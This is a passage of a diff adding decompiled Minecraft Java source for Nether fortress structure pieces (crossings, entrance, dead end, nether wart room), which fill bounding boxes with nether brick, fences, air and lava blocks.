+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Crossing extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000468";
+    
+    public Crossing() {}
+    
+    public Crossing(int p_i45610_1_, Random p_i45610_2_, StructureBoundingBox p_i45610_3_, EnumFacing p_i45610_4_)
+    {
+      super();
+      coordBaseMode = p_i45610_4_;
+      boundingBox = p_i45610_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 2, 0, false);
+      getNextComponentX((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, 2, false);
+      getNextComponentZ((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, 2, false);
+    }
+    
+    public static Crossing func_175873_a(List p_175873_0_, Random p_175873_1_, int p_175873_2_, int p_175873_3_, int p_175873_4_, EnumFacing p_175873_5_, int p_175873_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175873_2_, p_175873_3_, p_175873_4_, -2, 0, 0, 7, 9, 7, p_175873_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175873_0_, var7) == null) ? new Crossing(p_175873_6_, p_175873_1_, var7, p_175873_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 6, 1, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 6, 7, 6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 1, 6, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 6, 1, 6, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 0, 6, 6, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 6, 6, 6, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 6, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 5, 0, 6, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 2, 0, 6, 6, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 2, 5, 6, 6, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 6, 0, 4, 6, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 0, 4, 5, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 6, 6, 4, 6, 6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 6, 4, 5, 6, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 2, 0, 6, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 2, 0, 5, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 6, 2, 6, 6, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 5, 2, 6, 5, 4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 6; var4++)
+      {
+        for (int var5 = 0; var5 <= 6; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Crossing2 extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000460";
+    
+    public Crossing2() {}
+    
+    public Crossing2(int p_i45616_1_, Random p_i45616_2_, StructureBoundingBox p_i45616_3_, EnumFacing p_i45616_4_)
+    {
+      super();
+      coordBaseMode = p_i45616_4_;
+      boundingBox = p_i45616_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 1, 0, true);
+      getNextComponentX((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, 1, true);
+      getNextComponentZ((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, 1, true);
+    }
+    
+    public static Crossing2 func_175878_a(List p_175878_0_, Random p_175878_1_, int p_175878_2_, int p_175878_3_, int p_175878_4_, EnumFacing p_175878_5_, int p_175878_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175878_2_, p_175878_3_, p_175878_4_, -1, 0, 0, 5, 7, 5, p_175878_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175878_0_, var7) == null) ? new Crossing2(p_175878_6_, p_175878_1_, var7, p_175878_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 1, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 4, 5, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 5, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 0, 4, 5, 0, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 4, 0, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 4, 4, 5, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 0, 4, 6, 4, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 4; var4++)
+      {
+        for (int var5 = 0; var5 <= 4; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Crossing3 extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000454";
+    
+    public Crossing3() {}
+    
+    public Crossing3(int p_i45622_1_, Random p_i45622_2_, StructureBoundingBox p_i45622_3_, EnumFacing p_i45622_4_)
+    {
+      super();
+      coordBaseMode = p_i45622_4_;
+      boundingBox = p_i45622_3_;
+    }
+    
+    protected Crossing3(Random p_i2042_1_, int p_i2042_2_, int p_i2042_3_)
+    {
+      super();
+      coordBaseMode = EnumFacing.Plane.HORIZONTAL.random(p_i2042_1_);
+      
+      switch (StructureNetherBridgePieces.SwitchEnumFacing.field_175888_a[coordBaseMode.ordinal()])
+      {
+      case 1: 
+      case 2: 
+        boundingBox = new StructureBoundingBox(p_i2042_2_, 64, p_i2042_3_, p_i2042_2_ + 19 - 1, 73, p_i2042_3_ + 19 - 1);
+        break;
+      
+      default: 
+        boundingBox = new StructureBoundingBox(p_i2042_2_, 64, p_i2042_3_, p_i2042_2_ + 19 - 1, 73, p_i2042_3_ + 19 - 1);
+      }
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 8, 3, false);
+      getNextComponentX((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 3, 8, false);
+      getNextComponentZ((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 3, 8, false);
+    }
+    
+    public static Crossing3 func_175885_a(List p_175885_0_, Random p_175885_1_, int p_175885_2_, int p_175885_3_, int p_175885_4_, EnumFacing p_175885_5_, int p_175885_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175885_2_, p_175885_3_, p_175885_4_, -8, -3, 0, 19, 10, 19, p_175885_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175885_0_, var7) == null) ? new Crossing3(p_175885_6_, p_175885_1_, var7, p_175885_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 7, 3, 0, 11, 4, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 7, 18, 4, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 0, 10, 7, 18, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 8, 18, 7, 10, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 5, 0, 7, 5, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 5, 11, 7, 5, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 11, 5, 0, 11, 5, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 11, 5, 11, 11, 5, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 7, 7, 5, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 11, 5, 7, 18, 5, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 11, 7, 5, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 11, 5, 11, 18, 5, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 2, 0, 11, 2, 5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 2, 13, 11, 2, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 0, 0, 11, 1, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 0, 15, 11, 1, 18, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+
+
+      for (int var4 = 7; var4 <= 11; var4++)
+      {
+        for (int var5 = 0; var5 <= 2; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, 18 - var5, p_74875_3_);
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 7, 5, 2, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 13, 2, 7, 18, 2, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 7, 3, 1, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 15, 0, 7, 18, 1, 11, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (var4 = 0; var4 <= 2; var4++)
+      {
+        for (int var5 = 7; var5 <= 11; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), 18 - var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class End extends StructureNetherBridgePieces.Piece
+  {
+    private int fillSeed;
+    private static final String __OBFID = "CL_00000455";
+    
+    public End() {}
+    
+    public End(int p_i45621_1_, Random p_i45621_2_, StructureBoundingBox p_i45621_3_, EnumFacing p_i45621_4_)
+    {
+      super();
+      coordBaseMode = p_i45621_4_;
+      boundingBox = p_i45621_3_;
+      fillSeed = p_i45621_2_.nextInt();
+    }
+    
+    public static End func_175884_a(List p_175884_0_, Random p_175884_1_, int p_175884_2_, int p_175884_3_, int p_175884_4_, EnumFacing p_175884_5_, int p_175884_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175884_2_, p_175884_3_, p_175884_4_, -1, -3, 0, 5, 10, 8, p_175884_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175884_0_, var7) == null) ? new End(p_175884_6_, p_175884_1_, var7, p_175884_5_) : null;
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      fillSeed = p_143011_1_.getInteger("Seed");
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("Seed", fillSeed);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      Random var4 = new Random(fillSeed);
+      
+
+
+
+      for (int var5 = 0; var5 <= 4; var5++)
+      {
+        for (int var6 = 3; var6 <= 4; var6++)
+        {
+          int var7 = var4.nextInt(8);
+          func_175804_a(worldIn, p_74875_3_, var5, var6, 0, var5, var6, var7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        }
+      }
+      
+      var5 = var4.nextInt(8);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 0, 5, var5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      var5 = var4.nextInt(8);
+      func_175804_a(worldIn, p_74875_3_, 4, 5, 0, 4, 5, var5, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+      for (var5 = 0; var5 <= 4; var5++)
+      {
+        int var6 = var4.nextInt(5);
+        func_175804_a(worldIn, p_74875_3_, var5, 2, 0, var5, 2, var6, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      }
+      
+      for (var5 = 0; var5 <= 4; var5++)
+      {
+        for (int var6 = 0; var6 <= 1; var6++)
+        {
+          int var7 = var4.nextInt(3);
+          func_175804_a(worldIn, p_74875_3_, var5, var6, 0, var5, var6, var7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Entrance extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000459";
+    
+    public Entrance() {}
+    
+    public Entrance(int p_i45617_1_, Random p_i45617_2_, StructureBoundingBox p_i45617_3_, EnumFacing p_i45617_4_)
+    {
+      super();
+      coordBaseMode = p_i45617_4_;
+      boundingBox = p_i45617_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 5, 3, true);
+    }
+    
+    public static Entrance func_175881_a(List p_175881_0_, Random p_175881_1_, int p_175881_2_, int p_175881_3_, int p_175881_4_, EnumFacing p_175881_5_, int p_175881_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175881_2_, p_175881_3_, p_175881_4_, -5, -3, 0, 13, 14, 13, p_175881_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175881_0_, var7) == null) ? new Entrance(p_175881_6_, p_175881_1_, var7, p_175881_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 12, 4, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 12, 13, 12, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 1, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 11, 5, 0, 12, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 11, 4, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 11, 10, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 9, 11, 7, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 0, 4, 12, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 0, 10, 12, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 9, 0, 7, 12, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 11, 2, 10, 12, 10, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 8, 0, 7, 8, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      
+
+      for (int var4 = 1; var4 <= 11; var4 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, var4, 10, 0, var4, 11, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, var4, 10, 12, var4, 11, 12, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 0, 10, var4, 0, 11, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 12, 10, var4, 12, 11, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), var4, 13, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), var4, 13, 12, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), 0, 13, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), 12, 13, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), var4 + 1, 13, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), var4 + 1, 13, 12, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, var4 + 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 12, 13, var4 + 1, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 12, 13, 0, p_74875_3_);
+      
+      for (var4 = 3; var4 <= 9; var4 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, 1, 7, var4, 1, 8, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 11, 7, var4, 11, 8, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 4, 2, 0, 8, 2, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 4, 12, 2, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 0, 8, 1, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 9, 8, 1, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 4, 3, 1, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 0, 4, 12, 1, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+
+      for (var4 = 4; var4 <= 8; var4++)
+      {
+        for (int var5 = 0; var5 <= 2; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, 12 - var5, p_74875_3_);
+        }
+      }
+      
+      for (var4 = 0; var4 <= 2; var4++)
+      {
+        for (int var5 = 4; var5 <= 8; var5++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var4, -1, var5, p_74875_3_);
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), 12 - var4, -1, var5, p_74875_3_);
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 5, 5, 5, 7, 5, 7, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 6, 6, 4, 6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), 6, 0, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.flowing_lava.getDefaultState(), 6, 5, 6, p_74875_3_);
+      BlockPos var6 = new BlockPos(getXWithOffset(6, 6), getYWithOffset(5), getZWithOffset(6, 6));
+      
+      if (p_74875_3_.func_175898_b(var6))
+      {
+        worldIn.func_175637_a(Blocks.flowing_lava, var6, p_74875_2_);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class NetherStalkRoom extends StructureNetherBridgePieces.Piece
+  {
+    private static final String __OBFID = "CL_00000464";
+    
+    public NetherStalkRoom() {}
+    
+    public NetherStalkRoom(int p_i45612_1_, Random p_i45612_2_, StructureBoundingBox p_i45612_3_, EnumFacing p_i45612_4_)
+    {
+      super();
+      coordBaseMode = p_i45612_4_;
+      boundingBox = p_i45612_3_;
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 5, 3, true);
+      getNextComponentNormal((StructureNetherBridgePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 5, 11, true);
+    }
+    
+    public static NetherStalkRoom func_175875_a(List p_175875_0_, Random p_175875_1_, int p_175875_2_, int p_175875_3_, int p_175875_4_, EnumFacing p_175875_5_, int p_175875_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175875_2_, p_175875_3_, p_175875_4_, -5, -3, 0, 13, 14, 13, p_175875_5_);
+      return (isAboveGround(var7)) && (StructureComponent.findIntersecting(p_175875_0_, var7) == null) ? new NetherStalkRoom(p_175875_6_, p_175875_1_, var7, p_175875_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 12, 4, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 12, 13, 12, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 1, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 11, 5, 0, 12, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 11, 4, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 11, 10, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 9, 11, 7, 12, 12, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 5, 0, 4, 12, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 5, 0, 10, 12, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 9, 0, 7, 12, 1, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 11, 2, 10, 12, 10, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      
+
+      for (int var4 = 1; var4 <= 11; var4 += 2)
+      {
+        func_175804_a(worldIn, p_74875_3_, var4, 10, 0, var4, 11, 0, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, var4, 10, 12, var4, 11, 12, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 0, 10, var4, 0, 11, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, 12, 10, var4, 12, 11, var4, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), var4, 13, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), var4, 13, 12, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), 0, 13, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick.getDefaultState(), 12, 13, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), var4 + 1, 13, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), var4 + 1, 13, 12, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, var4 + 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 12, 13, var4 + 1, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 0, 13, 12, p_74875_3_);
